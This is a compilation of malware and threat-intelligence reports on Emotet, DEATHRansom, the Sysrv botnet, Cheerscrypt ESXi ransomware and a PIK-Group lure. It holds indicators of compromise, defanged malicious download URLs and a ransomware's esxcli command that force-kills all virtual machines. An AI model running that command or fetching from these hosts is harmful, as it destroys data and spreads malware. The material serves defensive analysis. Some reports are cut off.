# Emotet Malware Now Steals Your Email Attachments to Attack Contacts **By Sergiu Gatlan** **July 28, 2020** The Emotet malware botnet is now also using stolen attachments to increase the authenticity of spam emails used for infecting targets' systems. This is the first time the botnet is using stolen attachments to add credibility to emails, as Binary Defense threat researcher James Quinn told BleepingComputer. The attachment stealer module code — that also steals email content and contact lists — was added around June 13th according to Marcus 'MalwareTech' Hutchins. Based on research from the Emotet tracking group Cryptolaemus, the malware now steals 131072 byte or smaller attachments with email contents, later to be used as part of reply chains. This new tactic adds to the Emotet gang's leveraging of hijacked email conversation threads where a malicious URL or attachment would be included in new emails attached to existing conversations as a concealment measure (as first spotted by Minerva Labs in March 2019). Emotet, originally a banking Trojan when first spotted in 2014, has now evolved into a malware botnet used by threat actors to download other malware families including the Trickbot (a known vector used in the delivery of Ryuk and Conti ransomware payloads) and QakBot trojans. "Emotet seems to be using not only stolen email bodies, but is now including stolen attachments as well," email security firm Cofense said today. "This lends to even more authenticity in their phishing emails. In one example we found 5 benign attachments and a dropper link within the templated portion of the email." The botnet has been delivering massive amounts of malicious spam emails — camouflaged as payment reports, invoices, employment opportunities, and shipping information — through all its server clusters starting with July 17, after more than five months of inactivity. "Since reemerging on July 17, Emotet has sustained its activities with daily spam runs spewing more than 500K emails every day (except weekends) starting at around 2:00 AM Pacific Time (UTC -7)," Microsoft said. After returning back to life, Emotet first started installing the TrickBot trojan on compromised Windows computers, later to switch to once again heavily spreading QakBot malware, fully replacing the TrickBot payloads. At the moment, there is no exact info on QakBot's final payloads but reports say that it will deploy ProLock ransomware on some of the systems initially infected with Emotet. In a warning issued by the Australian Cyber Security Centre (ACSC) about the dangers posed by Emotet attacks, the malware is described as providing attackers "with a foothold in a network from which additional attacks can be performed, often leading to further compromise through the deployment of ransomware." The Cybersecurity and Infrastructure Security Agency (CISA) also issued a warning on targeted Emotet attacks earlier this year, advising admins and users to review its Emotet Malware alert for guidance. Emotet spreads using spam emails containing malicious URLs and attachments (Word or Excel documents designed to use macros) for downloading and installing the Emotet Trojan on victims' computers, which will then download other malware over time and will also use the infected device to send more spam emails. Since the botnet was revived on July 17th, it started delivering massive amounts of Emotet malware payloads as part of a campaign of malicious emails targeting users worldwide. This huge spike of activity was behind Emotet being ranked first in a list of top 10 malware strains analyzed on the interactive malware analysis platform Any.Run during the last week, head and shoulders above the next malware in the top (the njRAT Remote Access Trojan), with more than double the number of sample uploads submitted for analysis. If you want to find out more information about active Emotet campaigns you should follow the Cryptolaemus group on Twitter, a collective of security researchers who are keeping an eye on this malware's activity. **Update July 29, 17:59 EDT:** Added more info on Emotet's attachment stealer module and the number of spam emails sent each day.
# DEATHRansom 국내 발견 2019년 11월 20일 안랩 ASEC 분석팀은 국내에 유포된 DEATHRansom이라는 새로운 랜섬웨어를 발견하였다. 해당 랜섬웨어는 GandCrab, BlueCrab(=Sodinokibi), Nemty와 동일한 패커를 사용하고 있다. 이 패커는 작년에 활발히 유포한 GandCrab부터 BlueCrab과 2019년 9월에 발견된 Nemty 랜섬웨어, 이번에 발견된 DEATHRansom까지 다양한 랜섬웨어에 사용되고 있다. 이러한 패커 형태는 랜섬웨어뿐만 아니라 사용자 정보 탈취 악성코드와 암호화폐 채굴형 악성코드까지 다양하게 사용되고 있어 사용자의 주의가 필요하다. DEATHRansom 랜섬웨어는 아래 폴더와 파일을 제외하고 모두 감염 대상이다. 감염 후 확장자 변경은 하지 않고, 감염을 한 폴더마다 랜섬노트인 “read_me.txt” 파일을 생성한다. ## 감염 제외 목록 - Programdata - $recycle bin - program files - windows - all users - appdata - read_me.txt - autoexec.bat - desktop.ini - autorun.inf - ntuser.dat - iconcache.db - bootsect.back - boot.ini - thumbs.db 현재 V3에서는 DEATHRansom 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다. ### 파일 진단 - Trojan/Win32.MalPe.R300037 (2019.11.20.03) - Win-Trojan/MalPeU.mexp (2019.11.21.00) ### 행위 진단
# Sysrv Botnet Expands and Gains Persistence On March 4, 2021, Juniper Threat Labs identified a surge of activity of the Sysrv botnet. The botnet spread itself into Windows and Linux systems by exploiting multiple vulnerabilities, which we will cover in this blog. The threat actor’s objective is to install a Monero cryptominer. The attack remains active. Here’s what we’ve seen so far. ## Sysrv Botnet Development Juniper Threat Labs monitored the Sysrv botnet since December of 2020. At that time, it used two mining pools, minexmr and f2pool. It also used multi-component malware wherein the worm binary is installed as sysrv (sysrv.exe on Windows) and the miner binary as network01 (network01.exe on Windows). In February 2021, we saw the botnet remove the minexmr mining pool and only use f2pool. Then, in March 2021, Juniper Threat Labs noticed a significant uptick in activity, as recorded by our sensors. In addition to incorporating more exploits, the botnet now combines the worm and the miner into a single binary. Our researchers believe the threat actor will have better control and management with a single binary as the binary is constantly updated. Sysrv also added nanopool as a new mining pool. We also identified new development in the loader script where it tries to add ssh keys to infected systems. We believe this is a way for the threat actor to gain more persistence and may lead to more sophisticated attacks. ### Bundled Exploits Based on our findings, the attack surged on March 4, 2021, and we identified six vulnerabilities actively exploited with a payload, including: - Mongo Express RCE (CVE-2019-10758) - XXL-JOB Unauth RCE - XML-RPC (CVE-2017-11610) - CVE-2020-16846 (Saltstack RCE) - ThinkPHP RCE - CVE-2018-7600 (Drupal Ajax RCE) #### Mongo-Express RCE (CVE-2019-10758) The attack we’ve seen so far specifically targets port 8081, which affects a web-based MongoDB admin interface known as “Mongo-Express”. Exploiting this interface could allow the attacker to gain access to the MongoDB databases. As of this writing, there are 847 public IPs in Shodan.io that are hosting this service. #### XXL-JOB Unauth RCE This attack targets vulnerability in XXL-Job, a lightweight distributed task scheduling framework. It allows users to schedule tasks like cron jobs via a web interface. According to the authors, this framework has been adopted by many companies in China. From Shodan, we’ve enumerated 35 public IPs with this service, almost all of them in China. #### XML-RPC (CVE-2017-11610) This vulnerability affects “Supervisor”, a web interface to manage processes on UNIX systems. A specially crafted XML-RPC request could allow code execution on a vulnerable server. #### Saltstack RCE (CVE-2020-16846) This vulnerability affects systems running Salt-API, an interface on top of Salt that provides multiple entry points to the Salt system. “This CVE affects any users running the Salt API. An unauthenticated user with network access to the Salt API can use shell injections to run code on the Salt-API using the SSH client.” #### ThinkPHP RCE ThinkPHP is another PHP framework that is widely exploited by Sysrv. A quick search on Shodan shows there are more than 35,000 public IPs deploying this service. Most of them are in China. #### Drupal Ajax RCE (CVE-2018-7600) This vulnerability, aka “Drupalgeddon”, affects Drupal, a widely used CMS similar to WordPress. This vulnerability is relatively old but we still see many threat actors using this vulnerability. ## Sysrv Botnet Payload When a system is infected and becomes a bot, the bot has two functions. The first is to spread and infect more bots and the second is to mine for Monero cryptocurrency. A bot spreads itself by attacking random public IPs using the exploits we have listed above. The exploit’s payload is to download a loader script from a hard-coded IP or domain via wget, curl, or powershell. The name of the script is either ldr.sh or ldr.ps1. The loader script will then download the worm and miner binary from an IP hardcoded on the loader script. The binary payload has a Linux and Windows version. It is a 64-bit Go binary which is then packed with UPX. ### Cryptomining Worm The cryptomining worm spreads by scanning vulnerable systems on the internet. It uses multiple exploits we have listed above. Based on the binaries we have seen and the time when we have seen them, we found that the threat actor is constantly updating its exploit arsenal. The latest addition includes an exploit targeting Laravel software, an open-source PHP web framework. Inside the binary, we found the exploits it used to spread. Exploits include: - CVE-2021-3129 (Laravel) - CVE-2020-14882 (Oracle Weblogic) - CVE-2019-3396 (Widget Connector macro in Atlassian Confluence Server) - CVE-2019-10758 (Mongo Express) - CVE-2019-0193 (Apache Solr) - CVE-2017-9841 (PHPUnit) - CVE-2017-12149 (Jboss Application Server) - CVE-2017-11610 (Supervisor (XML-RPC)) - Apache Hadoop Unauthenticated Command Execution via YARN ResourceManager (No CVE) - Brute force Jenkins - Jupyter Notebook Command Execution (No CVE) - CVE-2019-7238 (Sonatype Nexus Repository Manager) - Tomcat Manager Unauth Upload Command Execution (No CVE) - WordPress Bruteforce ### XMRig Miner The second component of the payload is a cryptominer that mines Monero. In the early malware samples, the miner is in a separate binary. In later samples, the miner component is merged with the worm into a single binary. The miner is a version of XMRig which mines for the following mining pools: - xmr-eu1.nanopool.org:14444 - f2pool.com:13531 - minexmr.com:5555 As of poolwatch.io, these pools are three of the top four Monero mining pools. Combined together, they almost have 50% of the network hash rate. The threat actor’s criteria appears to be top mining pools with high reward rates. The profit from mining is saved into the following wallet address: 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa ## How profitable is this miner? Looking at Nanopool, this wallet gained 8 XMR (~1,700 USD) from March 1 to March 28. It appears to be ramping up recently at a pace of 1 XMR per 2 days. From f2pool, this wallet gained 10 XMR from December 2020 to March 2021 (2,000 USD). ## Mitigation Juniper Advanced Threat Protection (ATP) Cloud detects the binary payloads as follows. ### Indicators of Compromise | Sha256 | Type | |------------------------------------------------------------------------|-----------------| | 8223164dd8e2c7d6b2f0da63639186564335ba6a1bfc11cf31493d5c48f3abaf | linux binary | | 9b2023a0e22f22860a7a46a67c9eba2c4831db66244603fd961fbb5c38b55272 | linux binary | | ba46915f06d99c4dbb9d07767a86e979893f46333a8a93fce6e040452dfc1155 | linux binary | | 3ea2df69b99f78fc0768ecf8190293f2b277b6de6e7b8e668f40b8a4910df17c | linux binary | | 2d5de0dfa05c2a2649a4537b3f935f3ab2c029eeb3a07ab33592611388c845aa | linux binary | | d42090b274d285e759de296239bd7b8e5d97270b2d2ae189aed80e68ba82b591 | linux binary | | e627aff93c1e095786b5a5248425ec62c1ea8b049d487cfa6e9cfdf2a0ddbd7b | linux binary | | bf2c450d4d3519de51fbd31def04a0e6786e13a568ddefcaa62d812cc72ffc4c | linux binary | | 1dd2c66843fcf5512b4dda518c2d5010edf06ab701f0380777b1b305ce9c98b0 | linux binary | | a999d7f95af4084b1e4276ee329e9b466c4d88a14cfc87007587d18a4a6c9f8a | linux binary | | 7a546057a47ee02f6436e51d6d61f1b63c525307f9b5076a8edfe2cf4ae68769 | linux binary | | 6750e584ad0c21588e0add09c6ebe0cc9affe1673ac848b1761359170cf08bb7 | linux binary | | 5f5d599d4d0f9149440a6f813c6db3759d4fdbf7abe991c3af3aa59dc8c4027f | linux binary | | 72483800c412e2204731b12c9d8fff1bc84f7af8f0b258299bb4f091a57ab23a | linux binary | | 9c9b7da616239290db831a9305e1a46d45c112c761deaea5ed4c36aea7433891 | linux binary | | beaa0639a67f7fc7937a100f01a550ecb8c8b608251f4d02a97d9a0a15de1304 | linux binary | | 7ff5f2b3145d1e54a84f5bcc13ae6838baac2d6c20951d19608166833753d96f | linux binary | | 1c91ed47c3c0baa74fa15c9b02330701dd02fc1e9b44963e1fe9a650ef7b78ef | linux binary | | 296d3d3ed5feeda7f6d99adc9da2566cb6c460194066acccac941a7b09bedfc3 | linux binary | | 848ed7e90c767e7ab2b1a93f9b8ca9c41eb02c3c76bf8b7dfd806fe26c1f431e | linux binary | | 4fd37fa6ccf027e11409e3ca3b8109b2830cb3d7842303e67e6d0c087ae1b419 | linux binary | | 22ef90a2b3c23d3c890358fff4ec1210e4ceaaf46d8bef525294151b0e88ce15 | linux binary | | 77a9f3d4f498c8a84e09c89fd75d98eea31954cc17d948b876c00c638c95a7b6 | linux binary | | 5208cda8463eee0ac2cf0273dcd4036aa1e2be0de2c45b4ffd71e4c92bac3f2b | linux binary | | 18a877f11f2ba2d7ae05ee8644a5cbd687282df4010dd0cb7680aec2e00d98ce | linux binary | | f487b23309808e468889baf10c852284b7833b8ac06fd405d1b19abafc8e17fb | linux binary | | be8d067e762c5da8e616f62e882881b82c8627943bdf006e304fd9a4f784763f | windows executable | | 588b0838cc4c0fc64bfc1e5eeab2c9a59248e4e28a859ecbbac6bfe88bda703d | windows executable | | 5c902be344f9e089e60c36bbe3345fb5bd9c3c0b4cec349a6bb18da7faef0908 | windows executable | | 98e10d9c5bfd7a26ff3eb68d232109b6fbe0b0ec39f763f574301fb55e52a067 | windows executable | | 0f02a4180528a850cf24310f2e88c365695e35adbe6ba023288283599348b16d | windows executable | | d8336694afc213433470e9481de2f5d3f57dbeaf5763f62d137be103f63c45dc | windows executable | | 9fd4fbab33dbedf48706096ab4ae19e25648f33d2e9fba62118fea726c918848 | windows executable | | e51e35ce9737838d1a26be7285ba78a137d11c6725382944f34bde86f16cc893 | windows executable | | 8d0585970d1f6996ee8a034ee1f482bb0df32599e618312c0830e2fb04b6af5a | windows executable | | 064869b60b9cdb2b39daa30280770e63d9151fe3cc9f6db3813953cd71bdba8f | windows executable | | 4a588b7f30c91dd5603ffb0ea48cbd9f589f44b7fcb980b9bb9959d87dd344ad | windows executable | | 15e0b4302902a425dcd0476a60a0d96a17c5a6cdd9fe13c2d09c5055e48178e4 | windows executable | | c75c47694c5affa6c7eb4259ec3e4f29c740872305229b271e57bd90816e86b6 | ldr.sh | | b7e06689bde2614505a70cd0b4be24688be78d05057a134cc3f16919763bf65f | ldr.sh | | 41abb26f7c6dbc59ed4fc9f323211b4d422937700d866a7c5d12625f85fe6be6 | ldr.sh | | a41f2f0d431e750e911fc8f70c8b764f141f19fef2e6b0b70192d502d59ae39a | ldr.sh | | c07838598435a26f658654db4ce816914e6cfe70056382471362407d6093e1fa | ldr.sh | | f674e83e44bbb3ddf76c3622b9b8b0be16edf60f4021a91b5959e528684c481f | ldr.sh | | af279402867f3ef8d9e8bacde3aff359b1c6f3f2d581b914f12cb9d914199a0d | ldr.sh | | 58d96898ae28a806c8056799d703cad8a5bac95772458512395f77b8b6f73585 | ldr.sh | | 6cab9f43cf738ba5ca9fb519f898f6ae10b11391d76191c395fe2c5bcbe5c100 | ldr.sh | | 6a77d927c3e749c92b3f8847804c0de509050ad24aaf72519314df9226c3acb0 | ldr.sh | | 2d1b6deaccca69f67a6a207ecebb0010e62cd4d87298374c957236c78606f62e | ldr.sh | | 0783a9793100e6a32b21183239f955989c8901d18260092309efae91ccc075da | ldr.sh | | 30c3965452d35eab07243e2b193a3de678c1be6719753ed00b164785ae57ea98 | ldr.sh | | 03e1806272242fae788c8728bc5796482890601839c0c5012855424ce253c95d | ldr.sh | | b480b65704fb998bafa8893221e691daa906a80206196eda1ac3c0cdcc5c1c49 | ldr.sh | | 774fad3fd2c7add5842b58c1127b9061d38027debcd3917910a8ec6b6aec9d08 | ldr.sh | | 472fa4d13d8d71762af7fe5d574ad0d7c7c2983d228fd0944f0ee706e5b9d551 | ldr.sh | | f36b692e27631a5cc96f705ad06fa4496b70fc59c4ed3b6f9a2efffff503975c | ldr.sh | | 0703482c9cfd573924c028db0a2563b7e936993a345ad6d92e9cff73030cebc5 | ldr.sh | | 8f421d90d2697cc38d24858ab894a119719a217157c151eaf9fe9ff55f6387a5 | ldr.sh | | 752f181073449404df442a56b067951a8ed5a5419129ca5a416e80c376295b54 | ldr.sh | ### Download URLs - http://185[.]239.242.71/ldr.ps1 - http://185[.]239.242.71/ldr.sh - http://185[.]239.242.71/sysrv.exe - http://194[.]145.227.21/ldr.sh - http://194[.]145.227.21/sysrv - http://194[.]40.243.98/ldr.sh - http://195[.]58.39.46/asap - http://31[.]210.20.120/ldr.sh - http://31[.]210.20.120/sysrv.exe - http://31[.]210.20.120/sysrvv - http://31[.]210.20.181/ldr.sh - http://31[.]42.177.123/sysrv.exe - http://31[.]42.177.123/sysrvv - http://45[.]145.185.85/ldr.ps1 - http://45[.]145.185.85/sysrv - http://45[.]145.185.85/sysrv.exe - http://finalshell[.]nl/sysrv.exe - http://finalshell[.]nl/sysrvv ### IPs - 185[.]239.242.71 - 194[.]145.227.21 - 194[.]40.243.98 - 195[.]58.39.46 - 31[.]210.20.120 - 31[.]210.20.181 - 31[.]42.177.123 - 45[.]145.185.85 ### Domain - finalshell[.]nl
# New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code We recently discovered that Cheerscrypt, the new Linux-based ransomware that we detected in multiple attacks targeting ESXi servers, was based on the leaked Babuk source code. Upon scrutiny, we found similarities between Cheerscrypt and the Linux version of the Babuk ransomware, specifically its ESXi version. The base code of Cheerscrypt appears to be derived from the Babuk source code, but modified and customized to suit the malicious actor’s ransomware goals. This blog entry discusses our findings and provides an overview of Cheerscrypt’s infection routine based on the information we have gathered so far. ## Brief background Over the past few weeks, we observed several Linux-based ransomware detections that malicious actors launched to target VMware ESXi servers, a bare-metal hypervisor for creating and running several virtual machines (VMs) that share the same hard drive storage. We encountered Cheerscrypt, a new ransomware family that has been targeting a customer’s ESXi server used to manage VMware files, during this period. In the past, ESXi servers were also attacked by other known ransomware families such as LockBit, Hive, and RansomEXX as an efficient way to infect many computers with ransomware. ## Infection routine The ransomware requires an input parameter specifying the path to encrypt so that it can proceed to its infection routine. Upon execution, it implements the following command to terminate VM processes using ESXCLI: ``` esxcli vm process kill –type=force –world-id=$(esxcli vm process list|grep ‘World ID’|awk ‘{print $3}’) ``` The termination of the VM processes ensures that the ransomware can successfully encrypt VMware-related files. Similar to other infamous ransomware families, Cheerscrypt employs the double extortion scheme to coerce its victim to pay the ransom, as shown on their ransom note. Successfully encrypted files are renamed with the .Cheers extension. However, the ransomware first renames the files it will encrypt before encrypting the files. Thus, if the access permission for the file was not granted, it cannot proceed with the actual encryption. For each directory it encrypts, it will drop the ransom note named “How to Restore Your Files.txt.” It seeks out log files and VMware-related files with the following extensions: - .log - .vmdk - .vmem - .vswp - .vmsn After successful encryption, it displays a console that contains the data statistics of its routine. ## Encryption algorithm Cheerscrypt’s executable file contains the public key of a matching key pair with the private key being held by the malicious actor. The ransomware uses the SOSEMANUK stream cipher to encrypt files and ECDH to generate the SOSEMANUK key. For each file to encrypt, it generates an ECDH public-private key pair on the machine through Linux’s /dev/urandom. It then uses its embedded public key and the generated private key to create a secret key that will be used as a SOSEMANUK key. After encrypting the file, it will append the generated public key to it. Since the generated private key is not saved, one cannot use the embedded public key with the generated private key to produce the secret key. Therefore, decryption is only possible if the malicious actor’s private key is known. ## New findings: Cheerscrypt linked to Babuk Unlike Cheerscrypt, Babuk’s malware version used to compromise ESXi servers ensured that the files were encrypted before it renamed the target files. This goes to show that despite the Babuk ransomware operator’s announcement of their retirement — after claiming they already achieved their goals — their impact can still affect different organizations when other malicious actors build upon the source code they leaked. ## Conclusion ESXi is widely used in enterprise settings for server virtualization. It is therefore a popular target for ransomware attacks. As mentioned, compromising ESXi servers has been a scheme used by some notorious cybercriminal groups because it is a means to swiftly spread the ransomware to many devices. Organizations should thus expect malicious actors to upgrade their malware arsenal and breach as many systems and platforms as they can for monetary gain. ## Recommendations A proactive stance that ensures solid cybersecurity defenses against modern ransomware threats is crucial for organizations to thrive in an ever-changing threat landscape. To protect systems against similar attacks, organizations can establish security frameworks that systematically allocate resources based on an enterprise’s needs. Organizations can benefit from following the security frameworks established by the Center of Internet Security and the National Institute of Standards and Technology when developing their own cybersecurity strategies. The frameworks they created help security teams to mitigate risks and minimize exposure to threats. Adopting the best practices discussed in their respective frameworks can save organizations the time and effort when they customize their own. Their frameworks guide organizations through the entire process of planning while providing suggestions on measures that need to be established first.
# Ransomware, Trojan and Miner together against “PIK-Group” When an unknown sender suggests me to click on a super weird URL, dropping a ZIP file straight in my box, by saying it’s getting the next targeted attack on a huge company, well I kinda looking forward to it! So I clicked on the link (see IOC section) and I’ve downloaded a “pik.zip” file. The zip file wrapped out an interesting “cyrillic looking” javascript file named: Группа Компаний ПИК подробности заказа, which according to Google Translate would be: “PIK Group of Companies order details”. It looks like a crafted file for PIK-Group, one of the most important real estate companies based in Russia with more than 14k employees! By analyzing such a script it’s clear that it won’t be a piece of cake. The script is heavily obfuscated with more techniques. As you might appreciate from Stage0, there are two main obfuscation streams: the first one is implemented by introducing fake static forks such as: “if” and “cases” and the second one is implemented by dynamically building function blocks from nested strings which are either dynamically built and separated into multiple concatenation steps. The script eventually drops and executes a fake image file (msg.jpg) which actually is an UPX packet windows PE acting as second stage. The second stage drops and executes three additional modules: a backdoor, a Miner and finally a quite known Ransomware. It actually weird to understand the attacker’s needs, at such point, why so many different actors in a unique attack? According to pcrisk, the first downloaded module (327B0EF4.exe) looks like a well-known Troldesh Ransomware. This particular ransomware renames files so that they comprise a line of characters and digits and adds the “.crypted000007” extension to each. For example, after encryption, the file “1.jpg” might have an appearance similar to this example: “hmv8IGQE5oYCLEd2IS3wZQ==.135DB21A6CE65DAEFE26.crypted000007”. Furthermore, Crypted000007 creates ten ransom-demand messages (with identical content) called “README1.txt”, “README2.txt” … “README10.txt” and places them on the desktop. This virus also changes the desktop wallpaper. The second installed module (37ED0C97.exe) is a well-known piece of software as well. It’s a Miner called nheqminer. Nheqminer is a great implementation of equihash mining, mainly used on NiceHash but forked many times and today is getting used for several spare projects as well. Nheqminer is a specific miner for Zcash value based on common PCs. Exploring memory snapshots during its execution can be easy to figure out the miner runs over Zcash.Flypool server mining for the following wallet address. According to zcashnetwork, the attacker’s wallet received from mining activity 4.89 ZCash (last transaction on February 26th, 2019) so far. This amount suggests that the attacker activity is started (re-started) few days ago or its infected botnet is not so big at that time. According to Virustotal, the third installed module (B56CE7B7.exe) is another well-known software called Trojan-Heur and infamous during 2017 to perform brute force attack on WordPress based websites. A typical behavior for Trojans like HEUR.Trojan.Win32.Generic is one or all of the following: - Download and install other malware. - Use your computer for click fraud. - Record your keystrokes and the sites you visit. - Send information about your PC, including usernames and browsing history, to a remote malicious hacker. - Give a remote malicious hacker access to your PC. - Advertising banners are injected with the web pages that you are visiting. - Random web page text is turned into hyperlinks. - Browser popups appear which recommend fake updates or other software. Indeed, its behavior perfectly fits the Malware family behavior. Once installed on victim PC, it starts to brute force many websites looking for weak credentials. Once it finds weak credentials, it installs itself into the WordPress website maintaining the original name: “pik.zip”. Thanks to this characteristic, it would be possible to enumerate infected websites through combined searches on Google engine. The following image shows the main actor connections and their relationships. The analyzed implant is quite interesting since it raises many questions, for example: Why the attacker pretends to build a targeted attack to PIK-Group (using crafted strings) with refurbished malware? Why the implant installs a “miner” and a “ransomware” as well? While it might be understandable the usage of software for harvesting money, why the attacker introduced a brute force Trojan bot? On my personal point of view, it’s a quite weird behavior that goes pretty far from classical state-sponsored attacks. We are facing an actor who apparently wants money (ransomware and miner), but also wants credentials and wants to be able to control victim’s box in future. But we are facing again an actor who is using the victim to brute force third-party random websites as well. This activity is quite heavy and it’s easy to be detected and to be blocked from security administrators or IT guys, which is clearly, in opposition to mining (which wants to remain stealth as more as possible) and to Trojan as well (who wants to propagate itself silently). We might assume a malware building factory who is overselling a small botnet. In any case, I don’t think it would be a state-sponsored attack against PIK-Group but rather a nice way to maximize profits on a relatively small botnet. ## IOC: Following the dissected IOC. Command and Control IoC refers to Heur Malware family, hashes refer to found evidence files, dropping URLs refer to first infection URL, in other words where the final victims could drop and execute Stage0. TrojanVictims (Brute-forced websites) refer to the Trojan Heur victims. Those victims are not the original victims (the ones got infected by opening the original zip file) but the Trojan Heur victims. In other words, they are the victims of the brute force attack such a module does during its life. ### URL C2: - despari[.]informatik[.]uni-erlangen[.]de - belegost[.]csail[.]mit[.]edu - 95[.]154[.]221[.]3 - morty[.]ultrasrv[.]de - 92[.]117[.]130[.]61 - x5oemza3jjjeb7j3[.]onion ### HASH: - c1ee8c13b2c3f5e44b9d0db6b6ec9fbbeab3dc88068adf09a9a890ec054073f5 (piks.zip) - b2b91a36320ee8e64bf081c44aac2fabe621cdb809bf487035bb9da3e864a9c6 (Группа Компаний ПИК подробности заказа) - d7931e0573af3f962f7e10ee48996ddf33b3491a99da031a67426825a8c2d62c (msg.jpg) - 9ff6b78524b83d667df34eb5e00bf47dc66ca2b4bb7f9422622103311eee3d6e (327B0EF4.exe) - 026e8c1bb6fda0bd89dd2d87ef95a8920df5ba331b74c604223f75e597069ded (37ED0C97.exe) - 2824a8ce0e65bb185a88ff1fe5f1df202405c42b6705a420dbc07c565a44b240 (7E08836E.exe) - 9d3bac28e24a997c2d2b3a955b7f0d57494950a0269f1bf31dc45fb1dadcdb84 (B56CE7B7.exe) ### Dropping URLs: - http[:]//prodvizheniesaitovufa[.]ru/plugins/authentication/pikz[.]zip - http[:]//caffeportici[.]it/wp-content/blogs[.]dir/pikz[.]zip - http[:]//www[.]jantichy[.]cz/wp-content/themes/twentytwelve/css/pikz[.]zip - http[:]//subdomain[.]petstores[.]com/pikz[.]zip - http[:]//pcmamoru[.]com/cd/pikz[.]zip - http[:]//cdvo[.]it/wp-content/blogs[.]dir/pikz[.]zip - http[:]//nkybcc[.]com/templates/jsn_decor_pro/backups/pikz[.]zip - http[:]//shiodashika[.]com/topix/img/pikz[.]zip - http[:]//www[.]wisconsinweimaraners[.]com/wp-content/themes/eclipse/includes/pikz[.]zip - http[:]//mkt-msk[.]ru/errordocs/style/pikz[.]zip - http[:]//chansomania[.]fr/wp-content/themes/twentyten/languages/pikz[.]zip - https[:]//mdlab[.]ru/files/pikz[.]zip - http[:]//ccs-moscow[.]ru/libraries/cms/captcha/pikz[.]zip - http[:]//www[.]flowerbed[.]cz/templates/flowerbed_v1/css/pikz[.]zip - http[:]//writegenuine[.]com/wp-content/themes/dzonia-lite/languages/pikz[.]zip - http[:]//xtronik[.]ru/cgi-bin/pikz[.]zip - http[:]//studiomedicoscaparro[.]it/wp-content/blogs[.]dir/pikz[.]zip - http[:]//kiziltepeototamircilereso[.]org/wp-content/blogs[.]dir/pikz[.]zip - http[:]//dnaliferegression[.]com/wp-admin/css/colors/blue/pikz[.]zip - http[:]//droneinside[.]com/bigdump/pikz[.]zip - http[:]//scorzacostruzioni[.]it/wp-content/blogs[.]dir/pikz[.]zip - http[:]//handstandbuffer[.]com/wp-content/cache/et/global/pikz[.]zip - http[:]//lapradellina[.]it/wp-content/blogs[.]dir/pikz[.]zip - http[:]//neweraservice[.]com/templates/templatenewera/library/Artx/Content/pikz[.]zip - http[:]//isk-yokohama[.]com/pikz[.]zip - https[:]//galyonkin[.]com/wp-content/themes/ink/inc/meta/pikz[.]zip - http[:]//job-grand[.]com/bitcom777/wp-admin/css/colors/blue/pikz[.]zip - http[:]//srpresse[.]fr/wp-includes/ID3/pikz[.]zip - http[:]//hoangsong[.]com/wp-content/themes/salient/img/icons/social/pikz[.]zip - https[:]//www[.]activehotelolympic[.]it/wp-content/themes/olympic/assets/map-icons/pikz[.]zip - https[:]//adroitlyadvertising[.]com/wp-content/themes/sydney/plugins/pikz[.]zip - http[:]//sukra-gmbh[.]de/templates/sukra_cmedien_10v4/joomla_images/pikz[.]zip - http[:]//www[.]fromrussiawithglove[.]com/cgi-bin/pikz[.]zip - http[:]//bthsp[.]com/wp-content/themes/skt-elastic/css/pikz[.]zip - http[:]//cmattoon[.]com/wp-content/themes/minnow-wpcom/js/pikz[.]zip - http[:]//digitalmarketgh[.]com/wp-includes/ID3/pikz[.]zip - http[:]//palbarsport[.]com/wp-content/cache/et/global/pikz[.]zip - http[:]//www[.]thezinker[.]com/wp-admin/css/colors/blue/pikz[.]zip - http[:]//asatrustore[.]com/errors/inc/pikz[.]zip - http[:]//valleorbadepurazione[.]it/wp-content/blogs[.]dir/pikz[.]zip - http[:]//sigurjon[.]com/wp-content/themes/oshin/ReduxFramework/ReduxCore/assets/css/color-picker/pikz[.]zip - http[:]//davidaluke[.]com/wp-content/themes/genesis/lib/admin/images/layouts/pikz[.]zip - http[:]//elinika[.]ru/templates/siteground-j15-57/images/pikz[.]zip - http[:]//warcraftoutlet[.]com/wp-content/blogs[.]dir/pikz[.]zip - https[:]//zattslaw[.]com/wp-content/themes/lawyer-gravity/template-parts/front-page/pikz[.]zip - http[:]//indigoconseils[.]com/wp-content/themes/exo-theme/admin/ReduxCore/assets/css/color-picker/pikz[.]zip - https[:]//infopatcom[.]com/templates/hosting/js/pikz[.]zip - http[:]//x-radio[.]net/templates/radio_dj_lernvid[.]com/css/pikz[.]zip - http[:]//slastiotnasti[.]ru/pikz[.]zip - http[:]//englishrep[.]ru/administrator/cache/pikz[.]zip - http[:]//mi1[.]fr/templates/61/data/images/pikz[.]zip - http[:]//woodtennis[.]net/homepage/img/pikz[.]zip - http[:]//internetpipelinesuk[.]com/templates/belleevents/images/pikz[.]zip - https[:]//eskisehircicekleri[.]com/wp-content/themes/classipress/examples/classipress-child/includes/pikz[.]zip - http[:]//taifturk[.]org/wp-content/blogs[.]dir/pikz[.]zip - http[:]//www[.]dutchaviationphoto[.]com/wp-content/themes/dt-the7/css/compatibility/woo-fonts/pikz[.]zip - http[:]//twinkletoesfootcare[.]com/wp-admin/css/colors/blue/pikz[.]zip - http[:]//it-coman[.]de/templates/beez_20/css/pikz[.]zip - http[:]//lili-plaf[.]pl/FB-landingpage/pikz[.]zip - https[:]//www[.]greenebikes[.]com/wp-content/themes/Avada/sensei/wrappers/pikz[.]zip - http[:]//tredepblog[.]net/wp-content/themes/fotogenic/inc/customizer/pikz[.]zip - http[:]//trabasta[.]com/sakurait/cms2017/wp-content/themes/oshin/_notes/pikz[.]zip - http[:]//markmollerus[.]de/wp-content/themes/cubic/languages/pikz[.]zip - http[:]//vat-registration[.]com/wp/wp-admin/cache/pikz[.]zip - http[:]//unype[.]com/wp-content/themes/triton-lite/images/colorpicker/pikz[.]zip - https[:]//www[.]isoldrain[.]com/wp-content/themes/Avada/bbpress/pikz[.]zip - http[:]//blog[.]putyrsky[.]ru/wp-admin/css/colors/blue/pikz[.]zip - http[:]//justsee[.]ru/templates/protostar/html/com_media/imageslist/pikz[.]zip - http[:]//lebazarfleuri[.]com/wp-content/themes/flowvin[.]theme_/flowvin/assets/css/color/pikz[.]zip - http[:]//www[.]mix-engineer[.]com/wp-content/themes/oshin/ReduxFramework/ReduxCore/assets/css/color-picker/pikz[.]zip - http[:]//www[.]lesarchivistes[.]net/wp-content/themes/V3-LesArchivistes/images/authors/pikz[.]zip - 